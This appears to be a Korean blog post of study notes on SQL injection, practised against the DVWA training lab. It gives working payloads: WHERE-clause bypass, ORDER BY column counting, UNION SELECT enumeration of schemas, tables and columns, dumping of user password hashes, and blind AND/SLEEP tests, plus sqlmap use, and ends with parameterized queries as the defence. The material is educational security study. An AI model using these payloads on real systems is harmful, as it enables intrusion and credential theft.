보안

Chapter 07. SQL 인젝션 공격

qbang 2019. 2. 28. 21:41

Chapter 07. SQL 인젝션 공격

 

SQL 인젝션 공격 개요

 

- 웹 서버 영역의 DB로 전송되는 SQL 쿼리문을 사용자가 임의로 조작할 수 있는 경우 발생

 

1       WHERE 구문을 우회하여 공격

 

$id = $_REQUEST[ ‘id’ ];
$query = “SELECT name, email FROM users WHERE id = ‘ $id ’;”;

 

- 위 예제의 경우 사용자가 입력한 id 파라미터 값($id)이 쿼리문의 일부로 사용되고 있음, 이때 사용자가 id값으로 1’ or ‘1’=’1을 입력하게 되면 id = ‘1’ 항상 참이 되어 모든 사용자의 이름과 이메일이 공격자에게 전달됨

 

2       UNION 구문을 이용한 공격

 

SELECT name, email FROM users WHERE ID=’1’ UNION SELECT name, pw FROM users#~~~’

 

- UNION은 합집합으로 두 SELECT 구문의 결과를 모두 포함시키게 함, 쿼리 끝에 #을 삽입하는 이유는 맨 끝 을 주석 처리하려고 씀. ‘짝수가 안맞아서 주석처리가 안되어있으면 에러가 발생할 수 있음 + 뒤에 있을지 모르는 구문(~~~) 주석 처리

 

 

 

WHERE 구문 우회 실습

- SQL 인젝션 공격에 취약한지 테스트해볼 수 있는 가장 기본적인 방법은 을 입력해보는 것임

SELECT name, email FROM users WHERE id = ‘’’;

- 쌍이 맞지 않아 syntax 에러 발생

 

1’ or ’1’=’1

- User ID에 표에 있는 구문 입력하면 admin 외에도 다른 사용자의 정보가 출력됨

 

 

 

ORDER BY UNION 공격 실습

 

 

 

 

 

 

 

1’ ORDER BY 1#

 

 

 

 

 

 

 

- ORDER BY 뒤의 숫자를 증가시켜 가다가 에러 발생하면 그 전 값이 칼럼의 개수

1’ ORDER BY 3#

- 3부터 에러가 발생전체 칼럼의 개수가 두 개임을 알 수 있음

 

‘ UNION SELECT schema_name,2 from information_schema.schemata#

 

- MYSQL DBinformation_shema라는 DB에서 데이터베이스 이름, 테이블, 칼럼 정보 등을 관리, 따라서 information_ schemaschemata 테이블로부터 shema_name을 가져오는 SQL 쿼리문을 이용하면 DB이름을 알아낼 수 있음

 

- ‘ 앞에 상수를 써도 되지만 안 써도 됨

- first name 뒤에 데이터 베이스의 이름이 출력되고 있고, DVWA에서 사용하는 DB의 이름이 dvwa 임을 추측할 수 있음

 

' UNION SELECT table_name,2 from information_schema.tables where table_schema='dvwa'#

- table_schemadvwa인지를 확인하는 조건을 주어 dvwa DB의 테이블만 출력, guest users라는 테이블이 출력됨

' UNION SELECT column_name,2 from information_schema.columns where table_schema='dvwa' and table_name='users'#

 

- 사용자(users) 테이블의 칼럼 목록을 알아내는 구문과 입력 결과, user password 칼럼이 눈에 띔

 

' UNION SELECT user,password from users#

- 사용자 이름과 패스워드 해시가 출력됨, adminsurname md5 복호화하면 password

 

 

 

블라인드 SQL 인젝션 공격

- ‘을 입력하니 해당 사용자 ID DB에 없다는 메시지가 출력됨. 에러가 발생하지 않도록 처리하는 루틴이 구현되어 있음을 추측, 별다른 에러가 발생하지 않아 얘가 SQL 쿼리문을 사용하고 있는지 모름

 

1’ AND 1=1#

- SQL 구문이 실행된다면 AND 조건이 같이 처리되어 참이 될 수 있는 구문을 입력했는데 ID가 존재한다는 메시지가 출력됨

1’ AND 1=2#

- SQL 구문이 사용되는지 확실히 하기 위하여 FALSE가 되는 구문을 입력했더니 사용자가 없다고 뜸, SQL 쿼리문을 통해 처리되고 있음을 확인

 

- AND 등과 같은 연산이 실행되어 참과 거짓에 따라 그 결과가 다르게 구분되어 출력되는 것은 SQL 쿼리문이 뒤에서 사용된다는 증거(같은 결과가 출력되는 경우에는 AND 뒤에 SLEEP함수를 넣어보면 됨, 참일 경우에만 실행됨)

 

sqlmap 자동화 공격

 

 

 

 

 

- 1을 입력하고 [Submit] 누르면 주소창에 요청을 전송한 URL이 표시됨

 

 

 

- 쿠키 값 확인은 F12 누르고 document.cookie 입력

- 옵션 값 중에 &#은 특수 기능으로 사용되기 떄문에 따옴표로 묶어줘야 함

 

 

 

- 밝은 녹색이 공격 가능성이 높다는 뜻인데 첫번째는 ID 파라미터가 SQL 인젝션 공격 가능성이 있다고 말하는 거고, 두번째는 XSS 공격 가능성이 있다고 알려주는 것

 

 

 

 

 

- DB 뭐쓰는지 알아냄

- 테이블 뭐있는지 알아내기

- 사용자 ID와 패스워드 해시, 크래킹된 패스워드들이 출력됨, 이 과정을 반복하면 DB의 정보들을 다 알 수 있음

 

 

 

SQL 인젝션 공격 대응

 

- 사용자가 입력한 값은 SQL 쿼리문에서 오직 데이터로만 사용되어야 함 -> 쿼리문을 구성하고 실행하는 방법을 파라미터 쿼리로 변경

 

 

해당 포스팅은 '화이트해커를 위한 웹 해킹의 기술' 책 내용을 바탕으로 작성되었습니다.